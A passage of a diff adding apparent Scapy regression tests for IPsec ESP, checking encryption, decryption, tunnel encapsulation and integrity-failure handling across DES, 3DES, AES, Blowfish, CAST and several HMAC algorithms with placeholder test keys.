+d_ref = sa.decrypt(ref)
+d_ref
+
+* Check for ICMP layer in decrypted reference
+assert(d_ref.haslayer(ICMP))
+
+#######################################
+= IPv4 / ESP - Transport - AES-CTR - NULL
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='AES-CTR', crypt_key=b'16bytekey+4bytenonce',
+                         auth_algo='NULL', auth_key=None)
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+d = sa.decrypt(e)
+d
+
+* after decryption original packet should be preserved
+assert(d[TCP] == p[TCP])
+
+# Generated with Linux 4.4.0-62-generic #83-Ubuntu
+# ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \
+#    mode tunnel enc 'rfc3686(ctr(aes))' '0x3136627974656b65792b34627974656e6f6e6365' auth digest_null '' flag align4
+ref = IP() \
+    / ESP(spi=0x222,
+          data=b'\xc4\xca\x09\x0f\x8b\xd3\x05\x3d\xac\x5a\x2f\x87\xca\x71\x10\x01'
+               b'\xa7\x95\xc9\x07\xcc\xd4\x05\x58\x65\x23\x22\x4b\x63\x9b\x1f\xef'
+               b'\x55\xb9\x1a\x91\x52\x76\x00\xf7\x94\x7b\x1d\xe1\x8e\x03\x2e\x85'
+               b'\xad\xdd\x83\x22\x8a\xc3\x88\x6e\x85\xf5\x9b\xed\xa9\x6e\xb1\xc3'
+               b'\x78\x00\x2f\xcd\x77\xe8\x3e\xec\x0e\x77\x94\xb2\x9b\x0f\x64\x5e'
+               b'\x09\x83\x03\x7d\x83\x22\x39\xbb\x94\x66\xae\x9f\xbf\x01\xda\xfb',
+          seq=1)
+
+d_ref = sa.decrypt(ref)
+d_ref
+
+* Check for ICMP layer in decrypted reference
+assert(d_ref.haslayer(ICMP))
+
+#######################################
+= IPv4 / ESP - Transport - Blowfish - NULL
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='Blowfish', crypt_key=b'sixteenbytes key',
+                         auth_algo='NULL', auth_key=None)
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+d = sa.decrypt(e)
+d
+
+* after decryption original packet should be preserved
+assert(d[TCP] == p[TCP])
+
+# Generated with Linux 4.4.0-62-generic #83-Ubuntu
+# ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \
+#    mode tunnel enc 'cbc(blowfish)' '0x7369787465656e6279746573206b6579' auth digest_null '' flag align4
+ref = IP() \
+    / ESP(spi=0x222,
+          data=b'\x93\x9f\x5a\x10\x55\x57\x30\xa0\xb4\x00\x72\x1e\x46\x42\x46\x20'
+               b'\xbc\x01\xef\xc3\x79\xcc\x3e\x55\x64\xba\x09\xc2\x6a\x5a\x5c\xb3'
+               b'\xcc\xb5\xd5\x87\x82\xb0\x0a\x94\x58\xfc\x50\x37\x40\xe1\x03\xd3'
+               b'\x4a\x09\xb2\x23\x53\x56\xa4\x45\x4c\xbb\x81\x1c\xdb\x31\xa7\x67'
+               b'\xbd\x38\x8e\xba\x55\xd9\x1f\xf1\x3c\xeb\x07\x4c\x02\xb0\x3e\xc5'
+               b'\xf6\x60\xdd\x68\xe1\xd4\xec\xee\x27\xc0\x6d\x1a\x80\xe2\xcc\x7d',
+          seq=1)
+
+d_ref = sa.decrypt(ref)
+d_ref
+
+* Check for ICMP layer in decrypted reference
+assert(d_ref.haslayer(ICMP))
+
+#######################################
+= IPv4 / ESP - Transport - CAST - NULL
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='CAST', crypt_key=b'sixteenbytes key',
+                         auth_algo='NULL', auth_key=None)
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+d = sa.decrypt(e)
+d
+
+* after decryption original packet should be preserved
+assert(d[TCP] == p[TCP])
+
+# Generated with Linux 4.4.0-62-generic #83-Ubuntu
+# ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \
+#    mode tunnel enc 'cbc(cast5)' '0x7369787465656e6279746573206b6579' auth digest_null '' flag align4
+ref = IP() \
+    / ESP(spi=0x222,
+          data=b'\xcd\x4a\x46\x05\x51\x54\x73\x35\x1d\xad\x4b\x10\xc1\x15\xe2\x70'
+               b'\xbc\x9c\x53\x8f\x4d\x1c\x87\x1a\xc1\xb0\xdf\x80\xd1\x0c\xa4\x59'
+               b'\xe6\x50\xde\x46\xdb\x3f\x28\xc2\xda\x6c\x2b\x81\x5e\x7c\x7b\x4f'
+               b'\xbc\x8d\xc1\x6d\x4a\x2b\x04\x91\x9e\xc4\x0b\xba\x05\xba\x3b\x71'
+               b'\xac\xe3\x16\xcf\x7f\x00\xc5\x87\x7d\x72\x48\xe6\x5b\x43\x19\x24'
+               b'\xae\xa6\x2c\xcc\xad\xbf\x37\x6c\x6e\xea\x71\x67\x73\xd6\x11\x9f',
+          seq=1)
+
+d_ref = sa.decrypt(ref)
+d_ref
+
+* Check for ICMP layer in decrypted reference
+assert(d_ref.haslayer(ICMP))
+
+###############################################################################
++ IPv4 / ESP - Tunnel - Encryption Algorithms
+
+#######################################
+= IPv4 / ESP - Tunnel - NULL - NULL
+~ -crypto
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='NULL', auth_key=None,
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+assert(b'testdata' in e[ESP].data)
+
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet payload should be unaltered
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv4 / ESP - Tunnel - DES - NULL
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='DES', crypt_key=b'8bytekey',
+                         auth_algo='NULL', auth_key=None,
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+* the encrypted packet should have an ESP layer
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet payload should be unaltered
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv4 / ESP - Tunnel - 3DES - NULL
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='3DES', crypt_key=b'threedifferent8byteskeys',
+                         auth_algo='NULL', auth_key=None,
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+* the encrypted packet should have an ESP layer
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet payload should be unaltered
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv4 / ESP - Tunnel - AES-CBC - NULL
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key',
+                         auth_algo='NULL', auth_key=None,
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet payload should be unaltered
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv4 / ESP - Tunnel - AES-CTR - NULL
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='AES-CTR', crypt_key=b'16bytekey+4bytenonce',
+                         auth_algo='NULL', auth_key=None,
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+d = sa.decrypt(e)
+d
+
+* after decryption original packet should be preserved
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv4 / ESP - Tunnel - Blowfish - NULL
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='Blowfish', crypt_key=b'sixteenbytes key',
+                         auth_algo='NULL', auth_key=None,
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+d = sa.decrypt(e)
+d
+
+* after decryption original packet should be preserved
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv4 / ESP - Tunnel - CAST - NULL
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='CAST', crypt_key=b'sixteenbytes key',
+                         auth_algo='NULL', auth_key=None,
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+d = sa.decrypt(e)
+d
+
+* after decryption original packet should be preserved
+assert(d[TCP] == p[TCP])
+
+###############################################################################
++ IPv4 / ESP - Transport - Authentication Algorithms
+
+#######################################
+= IPv4 / ESP - Transport - NULL - HMAC-SHA1-96
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+assert(b'testdata' in e[ESP].data)
+
+* integrity verification should pass
+d = sa.decrypt(e)
+
+* after decryption the original packet payload should be unaltered
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv4 / ESP - Transport - NULL - HMAC-SHA1-96 - altered packet
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+assert(b'testdata' in e[ESP].data)
+
+* simulate the alteration of the packet before decryption
+e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21')
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv4 / ESP - Transport - NULL - SHA2-256-128
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='SHA2-256-128', auth_key=b'secret key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should be readable
+assert(b'testdata' in e[ESP].data)
+
+* integrity verification should pass
+d = sa.decrypt(e)
+
+* after decryption the original packet should be preserved
+assert(d == p)
+
+#######################################
+= IPv4 / ESP - Transport - NULL - SHA2-256-128 - altered packet
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='SHA2-256-128', auth_key=b'secret key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should be readable
+assert(b'testdata' in e[ESP].data)
+
+* simulate the alteration of the packet before decryption
+e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21')
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv4 / ESP - Transport - NULL - SHA2-384-192
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='SHA2-384-192', auth_key=b'secret key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should be readable
+assert(b'testdata' in e[ESP].data)
+
+* integrity verification should pass
+d = sa.decrypt(e)
+
+* after decryption the original packet should be preserved
+assert(d == p)
+
+#######################################
+= IPv4 / ESP - Transport - NULL - SHA2-384-192 - altered packet
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='SHA2-384-192', auth_key=b'secret key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should be readable
+assert(b'testdata' in e[ESP].data)
+
+* simulate the alteration of the packet before decryption
+e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21')
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv4 / ESP - Transport - NULL - SHA2-512-256
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='SHA2-512-256', auth_key=b'secret key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should be readable
+assert(b'testdata' in e[ESP].data)
+
+* integrity verification should pass
+d = sa.decrypt(e)
+
+* after decryption the original packet should be preserved
+assert(d == p)
+
+#######################################
+= IPv4 / ESP - Transport - NULL - SHA2-512-256 - altered packet
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='SHA2-512-256', auth_key=b'secret key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should be readable
+assert(b'testdata' in e[ESP].data)
+
+* simulate the alteration of the packet before decryption
+e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21')
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv4 / ESP - Transport - NULL - HMAC-MD5-96
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='HMAC-MD5-96', auth_key=b'secret key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should be readable
+assert(b'testdata' in e[ESP].data)
+
+* integrity verification should pass
+d = sa.decrypt(e)
+
+* after decryption the original packet should be preserved
+assert(d == p)
+
+#######################################
+= IPv4 / ESP - Transport - NULL - HMAC-MD5-96 - altered packet
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='HMAC-MD5-96', auth_key=b'secret key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should be readable
+assert(b'testdata' in e[ESP].data)
+
+* simulate the alteration of the packet before decryption
+e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21')
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv4 / ESP - Transport - NULL - AES-CMAC-96
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should be readable
+assert(b'testdata' in e[ESP].data)
+
+* integrity verification should pass
+d = sa.decrypt(e)
+
+* after decryption the original packet should be preserved
+assert(d == p)
+
+#######################################
+= IPv4 / ESP - Transport - NULL - AES-CMAC-96 - altered packet
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='AES-CMAC-96', auth_key=b'sixteenbytes key')
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should be readable
+assert(b'testdata' in e[ESP].data)
+
+* simulate the alteration of the packet before decryption
+e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21')
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+###############################################################################
++ IPv4 / ESP - Tunnel - Authentication Algorithms
+
+#######################################
+= IPv4 / ESP - Tunnel - NULL - HMAC-SHA1-96
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key',
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+assert(b'testdata' in e[ESP].data)
+
+* integrity verification should pass
+d = sa.decrypt(e)
+
+* after decryption the original packet payload should be unaltered
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv4 / ESP - Tunnel - NULL - HMAC-SHA1-96 - altered packet
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='HMAC-SHA1-96', auth_key=b'secret key',
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+assert(b'testdata' in e[ESP].data)
+
+* simulate the alteration of the packet before decryption
+e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21')
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
+= IPv4 / ESP - Tunnel - NULL - SHA2-256-128
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='SHA2-256-128', auth_key=b'secret key',
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should be readable
+assert(b'testdata' in e[ESP].data)
+
+* integrity verification should pass
+d = sa.decrypt(e)
+
+* after decryption the original packet should be preserved
+assert(d == p)
+
+#######################################
+= IPv4 / ESP - Tunnel - NULL - SHA2-256-128 - altered packet
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='SHA2-256-128', auth_key=b'secret key',
+                         tunnel_header=IP(src='11.11.11.11', dst='22.22.22.22'))
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+* after encryption packet should be encapsulated with the given ip tunnel header
+assert(e.src == '11.11.11.11' and e.dst == '22.22.22.22')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should be readable
+assert(b'testdata' in e[ESP].data)
+
+* simulate the alteration of the packet before decryption
+e[ESP].data = e[ESP].data.replace(b'\x01', b'\x21')
+
+* integrity verification should fail
+try:
+    d = sa.decrypt(e)
+    assert(False)
+except IPSecIntegrityError as err:
+    err
+
+#######################################
